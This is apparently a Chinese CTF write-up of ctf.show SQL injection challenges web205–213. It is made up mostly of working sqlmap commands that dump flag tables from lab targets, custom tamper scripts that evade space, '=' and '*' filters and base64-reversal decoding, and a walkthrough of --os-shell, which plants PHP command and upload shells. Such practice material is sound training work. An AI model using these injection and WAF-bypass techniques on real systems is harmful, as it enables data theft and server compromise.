sqlmap -u "http://705a05d8-3d8e-44e6-85d9-28dcc18c677a.challenge.ctf.show:8080/api/index.php" --data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://705a05d8-3d8e-44e6-85d9-28dcc18c677a.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables
得到表名为ctfshow_flax,查字段
1
sqlmap -u "http://705a05d8-3d8e-44e6-85d9-28dcc18c677a.challenge.ctf.show:8080/api/index.php" --data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://705a05d8-3d8e-44e6-85d9-28dcc18c677a.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax --columns
得到列flagx,获取数据
1
sqlmap -u "http://705a05d8-3d8e-44e6-85d9-28dcc18c677a.challenge.ctf.show:8080/api/index.php" --data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://705a05d8-3d8e-44e6-85d9-28dcc18c677a.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx --dump
得到flag
¶ web206
提示sql要闭合,无须我们操作,sqlmap会帮我们的 还是一样继续查表,查字段…
1
sqlmap -u "http://4a7aa673-4493-4581-be03-26dd5a1305a8.challenge.ctf.show:8080/api/index.php" --data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://4a7aa673-4493-4581-be03-26dd5a1305a8.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxc -C flagv --dump
¶ web207
开始进入编写tamper的时代啦! 首先观察返回逻辑,可以看到正则对空格进行了过滤
1 2 3 4
//对传入的参数进行了过滤 function waf($str){ return preg_match('/ /', $str); }
遇到这种情况怎么办?sqlmap提供了tamper脚本用于应对此种情况,tamper的出现是为了引入用户自定义的脚本来修改payload以达到绕过waf的目的。sqlmap自带的tamper脚本文件都在sqlmap的tamper文件夹下
举例如下tamper脚本:
apostrophemask.py 用utf8代替引号
equaltolike.py MSSQL * SQLite中like 代替等号
greatest.py MySQL中绕过过滤’>’ ,用GREATEST替换大于号
space2hash.py 空格替换为#号 随机字符串 以及换行符
space2comment.py 用/**/代替空格
apostrophenullencode.py MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL绕过过滤双引号,替换字符和双引号
halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py MySQL中空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.p Microsoft Access在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py MySQL,SQLite (possibly),SAP MaxDB绕过对 IFNULL 过滤
space2mssqlblank.py mssql空格替换为其它空符号
base64encode.py 用base64编码
space2mssqlhash.py mssql查询中替换空格
modsecurityversioned.py mysql中过滤空格,包含完整的查询版本注释
space2mysqlblank.py mysql中空格替换其它空白符号
between.py MS SQL 2005,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替换大于号(>)
space2mysqldash.py MySQL,MSSQL替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py 围绕SQL关键字添加多个空格
space2plus.py 用+替换空格
bluecoat.py MySQL 5.1, SGOS代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代
space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末尾
chardoubleencode.py 双url编码(不处理以编码的)
unionalltounion.py 替换UNION ALL SELECT UNION SELECT
charencode.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url编码;
randomcase.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中随机大小写
unmagicquotes.py 宽字符绕过 GPC addslashes
randomcomments.py 用/**/分割sql关键字
charunicodeencode.py ASP,ASP.NET中字符串 unicode 编码
securesphere.py 追加特制的字符串
versionedmorekeywords.py MySQL >= 5.1.13注释绕过
halfversionedmorekeywords.py MySQL < 5.1中关键字前加注释
对于本题,过滤了空格,我们可以使用tamper文件夹下的space2comment.py文件,payload为
1
python3 sqlmap.py -u "http://04ac3359-1e07-4234-aa4c-992636c78c51.challenge.ctf.show:8080/api/index.php" --data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://04ac3359-1e07-4234-aa4c-992636c78c51.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=space2comment --dbs
那我们如何编写自己的tamper脚本呢?我们查看一下space2comment.py文件的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
""" Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.compat import xrangefrom lib.core.enums import PRIORITY__priority__ = PRIORITY.LOW def dependencies (): pass def tamper (payload, **kwargs ): """ Replaces space character (' ') with comments '/**/' Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls >>> tamper('SELECT id FROM users') 'SELECT/**/id/**/FROM/**/users' """ retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False , False , False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += "/**/" continue elif payload[i] == '\'' : quote = not quote elif payload[i] == '"' : doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += "/**/" continue retVal += payload[i] return retVal
可以看到,tamper函数中把空格替换成/**/
,我们把他换成%09
来进行绕过空格,新建一个dotast.py
,稍作改变
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
from lib.core.compat import xrangefrom lib.core.enums import PRIORITY__priority__ = PRIORITY.LOW def dependencies (): pass def tamper (payload, **kwargs ): retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False , False , False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += chr(0x9 ) continue elif payload[i] == '\'' : quote = not quote elif payload[i] == '"' : doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += chr(0x9 ) continue retVal += payload[i] return retVal
引用的tamper名字就是我们刚刚定义的dotast
1
python3 sqlmap.py -u "http://04ac3359-1e07-4234-aa4c-992636c78c51.challenge.ctf.show:8080/api/index.php" --data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://04ac3359-1e07-4234-aa4c-992636c78c51.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=dotast -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump
¶ web208
观察返回逻辑
1 2 3 4 5
//对传入的参数进行了过滤 // $id = str_replace('select', '', $id); function waf($str){ return preg_match('/ /', $str); }
在上一题的基础上多过滤了关键字select,但注意这里只是过滤了小写的select,而sqlmap跑的payload一般都是大写的SELECT,所以继续用上一题我们写的tamper脚本即可
1
python3 sqlmap.py -u "http://03f47587-126e-41eb-bf12-4b246ef155e9.challenge.ctf.show:8080/api/index.php" --data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://03f47587-126e-41eb-bf12-4b246ef155e9.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=dotast -D ctfshow_web -T ctfshow_flaxcac -C flagvca --dump
¶ web209
观察返回逻辑,写了个正则表达式
1 2 3 4 5
//对传入的参数进行了过滤 function waf($str){ //TODO 未完工 return preg_match('/ |\*|\=/', $str); }
多过滤了*
和=
符号,我们可以用like编写,在前面的tamper脚本基础上我们改一下,这里我们只用绕过=
号就行,*
并不影响
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
""" Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.compat import xrangefrom lib.core.enums import PRIORITY__priority__ = PRIORITY.LOW def dependencies (): pass def tamper (payload, **kwargs ): retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False , False , False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += chr(0x9 ) continue elif payload[i] == '\'' : quote = not quote elif payload[i] == '"' : doublequote = not doublequote elif payload[i] == '=' : retVal += chr(0x9 ) + 'like' + chr(0x9 ) continue elif payload[i] == " " and not doublequote and not quote: retVal += chr(0x9 ) continue retVal += payload[i] return retVal
payload
1
python3 sqlmap.py -u "http://5cb7a6b4-1596-4419-a3c2-8f1311e43bb5.challenge.ctf.show:8080/api/index.php" --data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://5cb7a6b4-1596-4419-a3c2-8f1311e43bb5.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=dotast --dbms "mysql" --threads 3 -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx --dump
¶ web210
观察返回逻辑
1 2 3 4
//对查询字符进行解密 function decode($id){ return strrev(base64_decode(strrev(base64_decode($id)))); }
套娃base64编码和字符串反转,我们按照他的逻辑反着写tamper即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
""" Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITYfrom lib.core.common import singleTimeWarnMessageimport base64__priority__ = PRIORITY.LOW def dependencies (): singleTimeWarnMessage("别套了别套了" ) def tamper (payload, **kwargs ): retVal = payload if payload: retVal = retVal.encode() retVal = retVal[::-1 ] retVal = base64.b64encode(retVal) retVal = retVal[::-1 ] retVal = base64.b64encode(retVal) retVal = retVal.decode() return retVal
payload
1 2
python3 sqlmap.py -u "http://b1cd1011-2aaf-4e10-8dbf-1a68dbd1e741.challenge.ctf.show:8080/api/index.php" --data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://b1cd1011-2aaf-4e10-8dbf-1a68dbd1e741.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=dotast --dbms "mysql" -D ctfshow_web -T ctfshow_flavi -C ctfs how_flagxx --dump
¶ web211
查看逻辑
1 2 3 4 5 6 7 8
function decode ($id ) { return strrev(base64_decode(strrev(base64_decode($id)))); } function waf ($str ) { return preg_match('/ /' , $str); }
多增加了一个空格过滤,我们改改脚本,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
from lib.core.enums import PRIORITYfrom lib.core.common import singleTimeWarnMessageimport base64__priority__ = PRIORITY.LOW def dependencies (): singleTimeWarnMessage("别套了别套了" ) def tamper (payload, **kwargs ): retVal = payload retVal = retVal.replace(" " , "/**/" ) retVal = retVal.encode() retVal = retVal[::-1 ] retVal = base64.b64encode(retVal) retVal = retVal[::-1 ] retVal = base64.b64encode(retVal) retVal = retVal.decode() return retVal
payload
1
python3 sqlmap.py -u "http://497e212a-5e74-455f-8188-48031701300a.challenge.ctf.show:8080/api/index.php" --data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://497e212a-5e74-455f-8188-48031701300a.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=dotast -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa --dump
¶ web212
观察逻辑
1 2 3 4 5 6 7
function decode ($id ) { return strrev(base64_decode(strrev(base64_decode($id)))); } function waf ($str ) { return preg_match('/ |\*/' , $str); }
在前一题基础上正则多过滤了*
,所以我们不能使用/**/
来替换空格,换成之前说的tab来绕过,所以改一下tamper脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
from lib.core.enums import PRIORITYfrom lib.core.common import singleTimeWarnMessageimport base64__priority__ = PRIORITY.LOW def dependencies (): singleTimeWarnMessage("别套了别套了" ) def tamper (payload, **kwargs ): payload = bypass(payload) retVal = payload retVal = retVal.encode() retVal = retVal[::-1 ] retVal = base64.b64encode(retVal) retVal = retVal[::-1 ] retVal = base64.b64encode(retVal) retVal = retVal.decode() return retVal def bypass (payload ): retVal = "" for i in range(len(payload)): if payload[i]==" " : retVal += chr(0x9 ) else : retVal += payload[i] return retVal
payload
1 2
python3 sqlmap.py -u "http://19730fa8-da86-4bbe-b12a-bf0d436b20c7.challenge.ctf.show:8080/api/index.php" --data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://19730fa8-da86-4bbe-b12a-bf0d436b20c7.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=dotast -D ctfshow_web -T ctfshow_flavis -C ctfshow_flagxsa -- dump
¶ web213
观察逻辑
1 2 3 4 5 6 7
function decode ($id ) { return strrev(base64_decode(strrev(base64_decode($id)))); } function waf ($str ) { return preg_match('/ |\*/' , $str); }
和上一题一样,不过这题让我们使用--os-shell
的方法,我们就换成使用--os-shell
吧。首先要了解一下什么是--os-shell
–os-shell 其本质是写入两个shell文件,其中一个可以命令执行,另一个则是可以让我们上传文件; 不过也是有限制的,上传文件我们需要受到两个条件的限制,一个是网站的绝对路径,另一个则是导入导出的权限
在mysql中,由 secure_file_priv 参数来控制导入导出权限,该参数后面为null时,则表示不允许导入导出;如果是一个文件夹,则表示仅能在这个文件夹中导入导出;如果参数后面为空,也就是没有值时,则表示在任何文件夹都能导入导出
我们可以实验一下,payload如下(要记得加上我们之前的tamper脚本绕过waf哦)
1
python3 sqlmap.py -u "http://bb22b06a-fa2f-468b-a261-672dc1165e77.challenge.ctf.show:8080/api/index.php" --data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://bb22b06a-fa2f-468b-a261-672dc1165e77.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=dotast --os-shell
因为靶机是php环境,所以我们选择4;目录选择1默认路径即可 可以看到成功获得了交互式shell 细心的朋友们可以发现,上图中出现了两个php文件,分别是tmpbvrci.php和tmpuuydd.php,这就是前面所提到的sqlmap上传的两个shell文件。我们分别访问一下
tmpbvrci.php就是提供给我们执行命令,而tmpuuydd.php就是提供给我们进行文件上传。到这里,相信你们对–os-shell基本原理都了解了; 至于flag,可以在前面的交互性shell拿到,也可以在tmpuuydd.php上传webshell连接服务器拿到
¶ web214
sql实在做吐了,改天回来继续更新~
评论